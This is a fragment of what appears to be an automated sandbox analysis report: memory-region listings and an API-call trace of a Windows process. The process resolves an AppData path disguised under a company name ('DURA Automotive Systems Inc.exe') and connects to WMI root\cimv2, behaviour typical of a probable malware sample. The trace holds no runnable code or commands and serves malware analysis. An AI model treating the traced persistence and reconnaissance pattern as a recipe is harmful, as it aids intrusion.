	     entry_point = 0x701c0000
	     region_type = mapped_file
	            name = "scrrun.dll"
	        filename = "\\Windows\\SysWOW64\\scrrun.dll" (normalized: "c:\\windows\\syswow64\\scrrun.dll")

Region:
	              id = 2650
	        start_va = 0x701b0000
	          end_va = 0x701b8fff
	     entry_point = 0x701b0000
	     region_type = mapped_file
	            name = "version.dll"
	        filename = "\\Windows\\SysWOW64\\version.dll" (normalized: "c:\\windows\\syswow64\\version.dll")

Region:
	              id = 2651
	        start_va = 0x4880000
	          end_va = 0x488bfff
	     entry_point = 0x4880000
	     region_type = mapped_file
	            name = "wshom.ocx"
	        filename = "\\Windows\\SysWOW64\\wshom.ocx" (normalized: "c:\\windows\\syswow64\\wshom.ocx")

Region:
	              id = 2652
	        start_va = 0x6200000
	          end_va = 0x6542fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000006200000"
	        filename = ""

Region:
	              id = 2653
	        start_va = 0x1ef0000
	          end_va = 0x1efffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001ef0000"
	        filename = ""


Thread:
	id = 147
	os_tid = 0x7f4

	[0176.820] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0
	[0176.839] GetVersionExW (in: lpVersionInformation=0x52cad8*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x52cad8*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1
	[0176.839] GetLastError () returned 0x0
	[0176.840] GetVersionExW (in: lpVersionInformation=0x52cad8*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x52cad8*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1
	[0176.840] GetLastError () returned 0x0
	[0176.848] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\DURA Automotive Systems Inc\\", nBufferLength=0x105, lpBuffer=0x3ae9a8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\DURA Automotive Systems Inc\\", lpFilePart=0x0) returned 0x3e
	[0176.849] GetLastError () returned 0x0
	[0176.884] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\DURA Automotive Systems Inc\\DURA Automotive Systems Inc.exe", nBufferLength=0x105, lpBuffer=0x3aea00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\DURA Automotive Systems Inc\\DURA Automotive Systems Inc.exe", lpFilePart=0x0) returned 0x5d
	[0176.884] GetLastError () returned 0x2
	[0176.888] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\DURA Automotive Systems Inc\\DURA Automotive Systems Inc.exe", nBufferLength=0x105, lpBuffer=0x3ae99c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\DURA Automotive Systems Inc\\DURA Automotive Systems Inc.exe", lpFilePart=0x0) returned 0x5d
	[0176.888] GetLastError () returned 0x2
	[0176.893] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\DURA Automotive Systems Inc\\", nBufferLength=0x105, lpBuffer=0x3ae964, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\DURA Automotive Systems Inc\\", lpFilePart=0x0) returned 0x3e
	[0176.893] GetLastError () returned 0x2
	[0176.897] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\DURA Automotive Systems Inc\\", nBufferLength=0x105, lpBuffer=0x3aea00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\DURA Automotive Systems Inc\\", lpFilePart=0x0) returned 0x3e
	[0176.897] GetLastError () returned 0x2
	[0176.897] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\DURA Automotive Systems Inc\\", nBufferLength=0x105, lpBuffer=0x3ae99c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\DURA Automotive Systems Inc\\", lpFilePart=0x0) returned 0x3e
	[0176.897] GetLastError () returned 0x2
	[0177.958] lstrlenW (lpString="䅁") returned 1
	[0177.960] GetVersionExW (in: lpVersionInformation=0x4ff1a0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x4ff1a0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1
	[0177.960] GetLastError () returned 0x2
	[0178.000] GetEnvironmentVariableW (in: lpName="appdata", lpBuffer=0x4ff1a0, nSize=0x80 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming") returned 0x21
	[0178.000] GetLastError () returned 0x8013141b
	[0178.136] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\config\\machine.config", nBufferLength=0x105, lpBuffer=0x3ae2a0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\config\\machine.config", lpFilePart=0x0) returned 0x43
	[0178.136] GetLastError () returned 0x2
	[0178.139] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\config\\machine.config", nBufferLength=0x105, lpBuffer=0x3ae2e8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\config\\machine.config", lpFilePart=0x0) returned 0x43
	[0178.139] GetLastError () returned 0x2
	[0178.140] SetErrorMode (uMode=0x1) returned 0x0
	[0178.141] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\config\\machine.config"), fInfoLevelId=0x0, lpFileInformation=0x3ae768 | out: lpFileInformation=0x3ae768*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf973529, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xdf973529, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x3f930120, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x65b3)) returned 1
	[0178.141] GetLastError () returned 0x2
	[0178.141] SetErrorMode (uMode=0x0) returned 0x1
	[0178.142] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\config\\machine.config", nBufferLength=0x105, lpBuffer=0x3ae2c4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\config\\machine.config", lpFilePart=0x0) returned 0x43
	[0178.142] GetLastError () returned 0x2
	[0178.142] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\config\\machine.config", nBufferLength=0x105, lpBuffer=0x3ae250, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\config\\machine.config", lpFilePart=0x0) returned 0x43
	[0178.142] GetLastError () returned 0x2
	[0178.273] BCryptGetFipsAlgorithmMode (in: pfEnabled=0x3ae270 | out: pfEnabled=0x3ae270) returned 0x0
	[0178.284] GetVersionExW (in: lpVersionInformation=0x4ff1a0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x4ff1a0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1
	[0178.285] GetLastError () returned 0x0
	[0178.372] lstrlenW (lpString="䅁") returned 1
	[0178.374] CreateBindCtx (in: reserved=0x0, ppbc=0x3ae7ac | out: ppbc=0x3ae7ac*=0x53a0e8) returned 0x0
	[0178.375] IUnknown:QueryInterface (in: This=0x53a0e8, riid=0x74887714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3ae054 | out: ppvObject=0x3ae054*=0x53a0e8) returned 0x0
	[0178.375] IUnknown:QueryInterface (in: This=0x53a0e8, riid=0x748a4204*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x3ae010 | out: ppvObject=0x3ae010*=0x0) returned 0x80004002
	[0178.376] IUnknown:QueryInterface (in: This=0x53a0e8, riid=0x747d0b9c*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x3adf04 | out: ppvObject=0x3adf04*=0x0) returned 0x80004002
	[0178.377] IUnknown:AddRef (This=0x53a0e8) returned 0x3
	[0178.377] CoGetContextToken (in: pToken=0x3ade9c | out: pToken=0x3ade9c) returned 0x0
	[0178.377] CoGetContextToken (in: pToken=0x3ade60 | out: pToken=0x3ade60) returned 0x0
	[0178.377] CObjectContext::QueryInterface () returned 0x0
	[0178.378] CObjectContext::GetCurrentApartmentType () returned 0x0
	[0178.378] Release () returned 0x0
	[0178.378] CoGetObjectContext (in: riid=0x74887714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x537ac4 | out: ppv=0x537ac4*=0x527c20) returned 0x0
	[0178.396] IUnknown:QueryInterface (in: This=0x53a0e8, riid=0x747823cc*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3ade84 | out: ppvObject=0x3ade84*=0x0) returned 0x80004002
	[0178.396] CoGetContextToken (in: pToken=0x3ade94 | out: pToken=0x3ade94) returned 0x0
	[0178.396] IUnknown:AddRef (This=0x53a0e8) returned 0x4
	[0178.396] IUnknown:QueryInterface (in: This=0x53a0e8, riid=0x747d767c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3adf08 | out: ppvObject=0x3adf08*=0x0) returned 0x80004002
	[0178.396] IUnknown:Release (This=0x53a0e8) returned 0x3
	[0178.397] IUnknown:Release (This=0x53a0e8) returned 0x2
	[0178.397] CoGetContextToken (in: pToken=0x3ae308 | out: pToken=0x3ae308) returned 0x0
	[0178.397] CoGetContextToken (in: pToken=0x3ae2c8 | out: pToken=0x3ae2c8) returned 0x0
	[0178.397] IUnknown:AddRef (This=0x53a0e8) returned 0x3
	[0178.397] IUnknown:QueryInterface (in: This=0x53a0e8, riid=0x3ae344*(Data1=0xe, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3ae340 | out: ppvObject=0x3ae340*=0x53a0e8) returned 0x0
	[0178.397] IUnknown:Release (This=0x53a0e8) returned 0x3
	[0178.398] IUnknown:Release (This=0x53a0e8) returned 0x2
	[0178.398] IUnknown:Release (This=0x53a0e8) returned 0x1
	[0178.399] CoGetContextToken (in: pToken=0x3ae36c | out: pToken=0x3ae36c) returned 0x0
	[0178.399] CoGetContextToken (in: pToken=0x3ae32c | out: pToken=0x3ae32c) returned 0x0
	[0178.399] IUnknown:AddRef (This=0x53a0e8) returned 0x2
	[0178.399] IUnknown:QueryInterface (in: This=0x53a0e8, riid=0x3ae3a8*(Data1=0xe, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3ae3a4 | out: ppvObject=0x3ae3a4*=0x53a0e8) returned 0x0
	[0178.400] IUnknown:Release (This=0x53a0e8) returned 0x2
	[0178.400] IUnknown:AddRef (This=0x53a0e8) returned 0x3
	[0178.400] MkParseDisplayName (in: pbc=0x53a0e8, szUserName="WinMgmts:", pchEaten=0x3ae838, ppmk=0x3ae77c | out: pchEaten=0x3ae838, ppmk=0x3ae77c*=0x55f0d8) returned 0x0
	[0178.445] DllGetClassObject (in: rclsid=0x557c04*(Data1=0x172bddf8, Data2=0xceea, Data3=0x11d1, Data4=([0]=0x8b, [1]=0x5, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0x6, [6]=0xd9, [7]=0xb6)), riid=0x3ae3b0*(Data1=0x11a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x3ada68 | out: ppv=0x3ada68*=0x0) returned 0x80004002
	[0178.446] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x4720810
	[0178.446] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1
	[0178.446] DllGetClassObject (in: rclsid=0x557c04*(Data1=0x172bddf8, Data2=0xceea, Data3=0x11d1, Data4=([0]=0x8b, [1]=0x5, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0x6, [6]=0xd9, [7]=0xb6)), riid=0x751cee84*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x3ae570 | out: ppv=0x3ae570*=0x4720810) returned 0x0
	[0178.446] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x4720810
	[0178.446] WinMGMTS:IClassFactory:CreateInstance (in: This=0x4720810, pUnkOuter=0x0, riid=0x751cf084*(Data1=0x11a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3ae51c | out: ppvObject=0x3ae51c*=0x4720850) returned 0x0
	[0178.446] GetVersionExW (in: lpVersionInformation=0x3ae368*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x7f, dwMinorVersion=0x36b7, dwBuildNumber=0x3, dwPlatformId=0x3ae3cc, szCSDVersion="塩疗\x08쀕") | out: lpVersionInformation=0x3ae368*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1
	[0178.446] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Wbem\\Scripting", ulOptions=0x0, samDesired=0x1, phkResult=0x3ae35c | out: phkResult=0x3ae35c*=0x230) returned 0x0
	[0178.446] RegQueryValueExW (in: hKey=0x230, lpValueName="Default Impersonation Level", lpReserved=0x0, lpType=0x0, lpData=0x3ae364, lpcbData=0x3ae360*=0x4 | out: lpType=0x0, lpData=0x3ae364*=0x3, lpcbData=0x3ae360*=0x4) returned 0x0
	[0178.446] RegCloseKey (hKey=0x230) returned 0x0
	[0178.447] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x4720828
	[0178.447] GetSystemDirectoryW (in: lpBuffer=0x4720828, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13
	[0178.447] LoadLibraryExW (lpLibFileName="C:\\Windows\\system32\\advapi32.dll", hFile=0x0, dwFlags=0x0) returned 0x75690000
	[0178.448] GetProcAddress (hModule=0x75690000, lpProcName="DuplicateTokenEx") returned 0x7569ca24
	[0178.448] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1
	[0178.448] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x4720828
	[0178.448] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x4720850
	[0178.448] WinMGMTS:IUnknown:Release (This=0x4720810) returned 0x0
	[0178.448] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1
	[0178.451] IParseDisplayName:ParseDisplayName (in: This=0x4720850, pbc=0x53a0e8, pszDisplayName="WinMgmts:", pchEaten=0x3ae734, ppmkOut=0x3ae738 | out: pchEaten=0x3ae734*=0x9, ppmkOut=0x3ae738*=0x55f0d8) returned 0x0
	[0178.451] _wcsnicmp (_String1="WinMgmts:", _String2="WINMGMTS:", _MaxCount=0x9) returned 0
	[0178.452] IBindCtx:GetObjectParam (in: This=0x53a0e8, pszKey="WmiObject", ppunk=0x3ae63c | out: ppunk=0x3ae63c*=0x0) returned 0x80004005
	[0178.452] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x4720860
	[0178.452] _wcsnicmp (_String1="", _String2="{", _MaxCount=0x1) returned -123
	[0178.452] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x4720880
	[0178.452] CoCreateInstance (in: rclsid=0x73c342b0*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x73c342a0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x4720898 | out: ppv=0x4720898*=0x47208e8) returned 0x0
	[0178.459] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x47208f8
	[0178.459] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x4720960
	[0178.459] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x47209c0
	[0178.460] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0
	[0178.460] GetCurrentThreadId () returned 0x7f4
	[0178.460] _wcsnicmp (_String1="", _String2="[", _MaxCount=0x1) returned -91
	[0178.460] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0
	[0178.460] GetCurrentThreadId () returned 0x7f4
	[0178.460] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Wbem\\Scripting", ulOptions=0x0, samDesired=0x1, phkResult=0x3ae524 | out: phkResult=0x3ae524*=0x238) returned 0x0
	[0178.460] RegQueryValueExW (in: hKey=0x238, lpValueName="Default Namespace", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x3ae52c*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x3ae52c*=0x16) returned 0x0
	[0178.460] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x47209e0
	[0178.460] RegQueryValueExW (in: hKey=0x238, lpValueName="Default Namespace", lpReserved=0x0, lpType=0x0, lpData=0x47209e0, lpcbData=0x3ae52c*=0x16 | out: lpType=0x0, lpData=0x47209e0*=0x72, lpcbData=0x3ae52c*=0x16) returned 0x0
	[0178.460] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x4720a00
	[0178.460] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1
	[0178.460] RegCloseKey (hKey=0x238) returned 0x0
	[0178.460] CoCreateInstance (in: rclsid=0x73c353b8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x73c350dc*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppv=0x3ae558 | out: ppv=0x3ae558*=0x4720a20) returned 0x0
	[0178.470] SysStringLen (param_1=".") returned 0x1
	[0178.470] WbemDefPath:IWbemPath:SetServer (This=0x4720a20, Name=".") returned 0x0
	[0178.470] CoCreateInstance (in: rclsid=0x73c353b8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x73c350dc*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppv=0x3ae510 | out: ppv=0x3ae510*=0x4720ab8) returned 0x0
	[0178.470] CoCreateInstance (in: rclsid=0x73c353b8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x73c350dc*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppv=0x3ae4b4 | out: ppv=0x3ae4b4*=0x4720b50) returned 0x0
	[0178.470] WbemDefPath:IWbemPath:SetText (This=0x4720b50, uMode=0x4, pszPath="root\\cimv2") returned 0x0
	[0178.470] WbemDefPath:IUnknown:Release (This=0x4720b50) returned 0x0
	[0178.470] SysStringLen (param_1="root\\cimv2") returned 0xa
	[0178.470] WbemDefPath:IWbemPath:SetText (This=0x4720ab8, uMode=0xc, pszPath="root\\cimv2") returned 0x0
	[0178.470] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4720ab8, puCount=0x3ae520 | out: puCount=0x3ae520*=0x2) returned 0x0
	[0178.471] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x4720a20) returned 0x0
	[0178.471] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x4720ab8, uIndex=0x0, puNameBufLength=0x3ae4e8*=0x0, pName=0x0 | out: puNameBufLength=0x3ae4e8*=0x5, pName=0x0) returned 0x0
	[0178.471] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x4720b50
	[0178.471] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x4720ab8, uIndex=0x0, puNameBufLength=0x3ae4e8*=0x5, pName="ಀѲÄѲ" | out: puNameBufLength=0x3ae4e8*=0x5, pName="root") returned 0x0
	[0178.471] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1
	[0178.471] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x4720a20, uIndex=0x0, pszName="root") returned 0x0
	[0178.471] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x4720ab8, uIndex=0x1, puNameBufLength=0x3ae4e8*=0x0, pName=0x0 | out: puNameBufLength=0x3ae4e8*=0x6, pName=0x0) returned 0x0
	[0178.471] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x4720ce8
	[0178.471] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x4720ab8, uIndex=0x1, puNameBufLength=0x3ae4e8*=0x6, pName="ÄѲÄѲ2" | out: puNameBufLength=0x3ae4e8*=0x6, pName="cimv2") returned 0x0
	[0178.471] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1
	[0178.471] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x4720a20, uIndex=0x1, pszName="cimv2") returned 0x0
	[0178.471] WbemDefPath:IUnknown:Release (This=0x4720ab8) returned 0x0
	[0178.471] WbemDefPath:IWbemPath:GetText (in: This=0x4720a20, lFlags=4, puBuffLength=0x3ae53c*=0x0, pszText=0x0 | out: puBuffLength=0x3ae53c*=0xf, pszText=0x0) returned 0x0
	[0178.472] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x4720ab8
	[0178.472] WbemDefPath:IWbemPath:GetText (in: This=0x4720a20, lFlags=4, puBuffLength=0x3ae53c*=0xf, pszText="୰ѲৠѲ2" | out: puBuffLength=0x3ae53c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0
	[0178.472] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1
	[0178.472] WbemDefPath:IUnknown:Release (This=0x4720a20) returned 0x0
	[0178.472] WbemLocator:IWbemLocator:ConnectServer (in: This=0x47208e8, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale=0x0, lSecurityFlags=0, strAuthority=0x0, pCtx=0x0, ppNamespace=0x3ae5c4 | out: ppNamespace=0x3ae5c4*=0x472d174) returned 0x0
	[0178.541] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x472c878
	[0178.541] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x472d188
	[0178.541] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x472d1e8
	[0178.541] IUnknown:QueryInterface (in: This=0x472d174, riid=0x73c331fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3ae494 | out: ppvObject=0x3ae494*=0x55c67c) returned 0x0
	[0178.541] IClientSecurity:QueryBlanket (in: This=0x55c67c, pProxy=0x472d174, pAuthnSvc=0x3ae484, pAuthzSvc=0x3ae488, pServerPrincName=0x0, pAuthnLevel=0x3ae4b0, pImpLevel=0x3ae4ac, pAuthInfo=0x0, pCapabilites=0x3ae49c | out: pAuthnSvc=0x3ae484*=0xa, pAuthzSvc=0x3ae488*=0x0, pServerPrincName=0x0, pAuthnLevel=0x3ae4b0*=0x6, pImpLevel=0x3ae4ac*=0x2, pAuthInfo=0x0, pCapabilites=0x3ae49c*=0x1) returned 0x0
	[0178.542] IUnknown:Release (This=0x55c67c) returned 0x1
	[0178.542] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0
	[0178.542] GetCurrentThreadId () returned 0x7f4
	[0178.542] IUnknown:QueryInterface (in: This=0x472d174, riid=0x73c331fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3ae4c4 | out: ppvObject=0x3ae4c4*=0x55c67c) returned 0x0
	[0178.542] IClientSecurity:CopyProxy (in: This=0x55c67c, pProxy=0x472d174, ppCopy=0x3ae4c8 | out: ppCopy=0x3ae4c8*=0x472d2e4) returned 0x0
	[0178.542] IUnknown:QueryInterface (in: This=0x472d2e4, riid=0x73c331fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3ae3e0 | out: ppvObject=0x3ae3e0*=0x55c67c) returned 0x0
	[0178.542] IClientSecurity:QueryBlanket (in: This=0x55c67c, pProxy=0x472d2e4, pAuthnSvc=0x3ae404, pAuthzSvc=0x3ae3f4, pServerPrincName=0x0, pAuthnLevel=0x0, pImpLevel=0x0, pAuthInfo=0x0, pCapabilites=0x0 | out: pAuthnSvc=0x3ae404*=0xa, pAuthzSvc=0x3ae3f4*=0x0, pServerPrincName=0x0, pAuthnLevel=0x0, pImpLevel=0x0, pAuthInfo=0x0, pCapabilites=0x0) returned 0x0
	[0178.542] IUnknown:Release (This=0x55c67c) returned 0x3
	[0178.542] IUnknown:QueryInterface (in: This=0x472d2e4, riid=0x73c334f0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3ae3b8 | out: ppvObject=0x3ae3b8*=0x55c69c) returned 0x0
	[0178.542] IUnknown:QueryInterface (in: This=0x472d2e4, riid=0x73c331fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3ae3bc | out: ppvObject=0x3ae3bc*=0x55c67c) returned 0x0
